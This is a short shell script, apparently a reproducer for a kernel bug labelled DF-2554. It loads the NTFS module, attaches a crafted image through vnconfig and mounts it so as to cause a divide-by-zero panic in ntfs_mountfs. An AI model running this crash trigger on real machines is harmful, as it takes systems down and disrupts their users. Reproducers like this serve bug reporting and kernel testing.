#!/bin/sh
# DF-2554 trigger: mount a crafted NTFS image with bf_bps=0 -> divide-by-zero.
# Must run as root (mount + vnconfig). Expected: kernel #DE panic at
# ntfs_vfsops.c ntfs_mountfs line 354 ((1 << (-cpr)) / ntmp->ntm_bps).
set -u
IMG=${1:-evil.ntfs}
kldload ntfs 2>/dev/null || true
# configure a vnode device backed by the crafted image
vnconfig /dev/vn0 "$IMG" 2>&1 || { echo "vnconfig failed"; exit 2; }
echo "[*] mounting crafted NTFS image ($IMG) on /dev/vn0 ..."
mount_ntfs -o ro /dev/vn0 /mnt
echo "[!] mount returned $? (no panic) -- bug did NOT fire"